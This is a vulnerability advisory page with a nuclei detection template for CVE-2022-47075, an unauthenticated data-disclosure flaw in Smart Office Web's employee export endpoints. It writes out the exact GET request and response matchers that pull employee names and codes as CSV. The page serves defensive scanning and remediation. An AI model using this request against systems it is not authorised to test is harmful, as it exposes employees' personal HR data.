Smart Office Web 20.28 - Information Disclosure

highseverity

7.5CVSS score

59.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered in Smart Office Web 20.28 and earlier allows attackers to download sensitive information via the action name parameter to ExportEmployeeDetails.aspx, and to ExportReportingManager.aspx.

Impact

Unauthenticated attackers can download sensitive employee information including personal details, employee codes, and reporting relationships through vulnerable export endpoints in Smart Office Web, potentially exposing confidential HR data.

Fix

Upgrade to a version of Smart Office Web later than 20.28 that implements proper authentication checks on export endpoints.

How to confirm it

Send: GET {{BaseURL}}/ExportReportingManager.aspx
Positive when: status_code == 200 and contains(content_type, "application/CSV") and contains(body, "EmployeeName") && contains(body, "EmployeeCode")

Run it with nuclei: nuclei -id CVE-2022-47075 -u <target>

The full check

id: CVE-2022-47075

info:
  name: Smart Office Web 20.28 - Information Disclosure
  author: r3Y3r53
  severity: high
  description: |
    An issue was discovered in Smart Office Web 20.28 and earlier allows attackers to download sensitive information via the action name parameter to ExportEmployeeDetails.aspx, and to ExportReportingManager.aspx.
  impact: |
    Unauthenticated attackers can download sensitive employee information including personal details, employee codes, and reporting relationships through vulnerable export endpoints in Smart Office Web, potentially exposing confidential HR data.
  remediation: |
    Upgrade to a version of Smart Office Web later than 20.28 that implements proper authentication checks on export endpoints.
  reference:
    - https://packetstormsecurity.com/files/173093/Smart-Office-Web-20.28-Information-Disclosure-Insecure-Direct-Object-Reference.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47075
    - http://packetstormsecurity.com/files/173093/Smart-Office-Web-20.28-Information-Disclosure-Insecure-Direct-Object-Reference.html
    - https://cvewalkthrough.com/smart-office-suite-unauthenticated-data-ex/
    - https://youtu.be/D42upepxzwM
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-47075
    epss-score: 0.59407
    epss-percentile: 0.9913
    cpe: cpe:2.3:a:smartofficepayroll:smartoffice:*:*:*:*:web:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: smartofficepayroll
    product: smartoffice
  tags: cve,cve2022,packetstorm,smart-office,info,exposure,smartofficepayroll,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ExportReportingManager.aspx"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/CSV")'
          - 'contains(body, "EmployeeName") && contains(body, "EmployeeCode")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from